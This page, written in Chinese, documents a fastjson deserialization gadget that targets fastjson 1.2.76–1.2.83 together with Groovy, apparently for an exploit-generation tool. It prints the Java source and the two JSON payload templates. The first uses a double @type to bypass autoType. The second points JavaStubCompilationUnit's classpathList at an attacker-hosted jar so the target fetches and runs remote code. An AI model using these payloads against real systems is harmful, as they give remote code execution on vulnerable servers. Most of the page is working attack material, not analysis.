Skip to content

Latest commit

 

History

History
58 lines (45 loc) · 4.46 KB

File metadata and controls

58 lines (45 loc) · 4.46 KB

Groovy 1.2.83(FastjsonGroovy)

  • 类别:fastjson 别名:— 优先级:—
  • 作者:—
  • 依赖org.codehaus:groovy1.2.76 <= fastjson <= 1.2.83(需 autoTypeEnabled

作用

生成两段 Fastjson JSON payload,利用 Groovy 的 JavaStubCompilationUnit 把攻击者的 URL 加入编译器 classpath,从而远程加载并执行一个恶意 Groovy jar。这是 fastjson 1.2.76~1.2.83 期间绕过 autoType 黑名单、无需本地字节码 sink 的远程加载链。

链接标签

  • 入口 tagsFastjsonPayloadEND —— FastjsonPayload 表示产物是交给 Fastjson 反序列化入口的 JSON 文本;END 表示本 gadget 是链尾(自身即最终 sink,不再向下包装其他 gadget)。
  • 衔接 nextTags:无 —— 作为 END 构件,不衔接下游。
  • excludes:无。

源码剖析

本类不消费内层对象(invoke 直接调用无参 getObject(),没有 chain.doCreate),它纯粹是「payload 文本生成器」:

@Param(name="加载jar包的url")
public String jarUrl = "http://127.0.0.1:50000/EvalGroovy.jar";

public static String template1 = "{\n    \"x1\": {\n        \"@type\": \"java.lang.Exception\",\n        \"@type\": \"org.codehaus.groovy.control.CompilationFailedException\",\n        \"unit\": {}\n    }\n}";
public static String template2 = "{\n    \"x2\": {\n        \"@type\": \"org.codehaus.groovy.control.ProcessingUnit\",\n        \"@type\": \"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n        \"config\": {\n            \"@type\": \"org.codehaus.groovy.control.CompilerConfiguration\",\n            \"classpathList\": \"%s\"\n        }\n    }\n}";

public Object getObject() {
    return "[INFO] Step1:\n" + template1 + "\n\n[INFO] Step2:\n" + String.format(template2, this.jarUrl);
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    return this.getObject();
}
  • 两段式 payloaddescription 明确「需要发送两个 payload 才能实现远程加载 groovy jar」。产物是把 template1template2 拼在一起并附上 [INFO] Step1/Step2 提示,供操作者分两次发送。
  • Step1(template1)@type 双写为 java.lang.Exceptionorg.codehaus.groovy.control.CompilationFailedException。这是 fastjson 1.2.76+ 里绕过 autoType 检测的经典手法——外层声明一个已在白名单/可被接受的父类 java.lang.Exception,内层再切换到真正的目标类;unit 字段用于在此阶段把编译单元对象缓存/固定到 fastjson 的 ClassLoader/引用体系中,为 Step2 铺路。
  • Step2(template2)@type 双写 ProcessingUnitorg.codehaus.groovy.tools.javac.JavaStubCompilationUnit,并给其 configCompilerConfiguration)的 classpathList 属性写入攻击者的 jarUrl。当 Groovy 的 stub 编译单元被实例化/触发时,会以该 classpath 去加载类,从而从远程 URL 拉取并执行恶意 Groovy jar 中的初始化逻辑(jar 内的静态/构造逻辑执行命令)。
  • %sString.formatjarUrl 填入 classpathList

参数(@Param)

字段 名称 说明 默认 可选值
jarUrl 加载 jar 包的 url 恶意 Groovy jar 的远程地址,写入 classpathList http://127.0.0.1:50000/EvalGroovy.jar 任意 URL

适用版本与原理要点

  • 适用 1.2.76 <= fastjson <= 1.2.83,且目标须 autoTypeEnabled(开启 autoType)。
  • 依赖目标 classpath 存在 org.codehaus:groovy
  • 需两次请求:先发 Step1(异常类型预置),再发 Step2(触发 JavaStubCompilationUnit 远程加载)。
  • 恶意 Groovy jar 可用工具内 OtherPayload -> GroovyJarConvert 生成(见 description)。
  • 与依赖本地字节码 sink 的链不同,本链把「代码」放在远程 jar 中,END 即完成 RCE。

所属预设链

自由构件,未直接出现在预设链(usedInChains 为空)。可在 Fastjson 入口场景下单独使用。

关联